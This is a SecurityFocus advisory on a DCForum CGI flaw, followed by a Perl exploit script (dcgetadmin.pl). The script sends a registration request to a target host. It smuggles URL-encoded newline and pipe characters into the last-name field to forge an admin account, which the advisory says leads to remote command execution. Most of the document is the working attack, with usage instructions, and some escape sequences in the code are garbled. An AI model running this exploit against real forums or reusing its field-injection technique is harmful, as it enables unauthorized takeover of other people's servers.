#source: http://www.securityfocus.com/bid/2728/info
#
#DCForum is a commercial cgi script from DCScripts which is designed to facilitate web-based threaded discussion forums.
#
#Versions of DCForum are vulnerable to attacks which can yield an elevation of privileges and remote execution of arbitrary commands.
#
#DCForum maintains a file containing its user account information, including hashed user passwords and other potentially sensitive information.
#
#When a new user account is created, the user's information is written to this file. Fields within each record are delimited by pipe ('|') and newline characters.
#
#DCForum fails to properly validate this user-supplied account information. As a result, an attacker can cause a corruption of the script's user records by providing a value for the last name field which includes URL-encoded pipes and newlines. By appending desired values to the last name field, an attacker can insert account information for a new user, and specify admin privileges.
#
#This newly-created admin account allows a remote attacker to issue arbitrary commands with the privilege level of the webserver process.
#
#!/usr/bin/perl
# dcgetadmin.pl - (C) 2001 Franklin DeMatto - [email protected]
use Getopt::Std;
use IO::Socket;
getopts ('ap');
usage () unless ($#ARGV == 0 || $#ARGV == 1);
if ($opt_a) { print "n -a not implemented yetnn"; exit 1; }
$host = $ARGV[0];
$uri = $ARGV[1] ? $ARGV[1] : '/cgi-bin/dcforum/dcboard.cgi';
$username = 'evilhacker' . ( int rand(9899) + 100);
$password = int rand (9899) + 100;
$hash = $opt_p ? $password : crypt ($password, substr ($password, 0, 2));
$dummyuser = 'not' . ( int rand(9899) + 100) ;
$dummypass = int rand (9899) + 100;
print "n(Debugging info: Hash = $hash Dummyuser = $dummyuser Dummypass =
$dummypass)n";
print "Attempting to register username $username with password $password as admin . . .n";
$sock = IO::Socket::INET->new("$host:80") or die "Unable to connect to $host: $!nn";
$req = "GET
$uri?command=register&az=user_register&Username=$dummyuser&Password=$dummypass&dup_Password=$dummypass";
$req .=
"&Firstname=Proof&Lastname=Concept%0a$hash%7c$username%7cadmin%7cProof%7cConcept&EMail=nothere%40nomail.com";
$req .= "&required=Password%2cUsername%2cFirstname%2cLastname%2cEMail HTTP/1.0 15 12";
$req .= "Host: $host 15 12 15 12";
print $sock $req;
print "The server replied:nn";
while (<$sock>)
{
if (/BODY/) { $in_body = 1; }
next unless $in_body;
if (/form|</BODY>/) { last; }
s/<.+?>//g;
print $_ unless (/^s*$/);
}
print "nNote: Even if your password is supposed to be e-mailed to you, it should work
right away.n";
sub usage
{
print <<EOF;
dcgetadmin.pl - (C) 2001 Franklin DeMatto - [email protected]
Usage: $0 [options] host [path to dcboard.cgi]
Options:
-a to activate the account (for sites that do not activate automatically)
NOTE: This option is not yet supported, but should be quite easy to add if you need it
-p to leave the password in plaintext (necessary when the target is NT)
The path to dcboard.cgi, if not supplied, is assumed to be /cgi-bin/dcforum/dcboard.cgi
EOF
exit 1;
}
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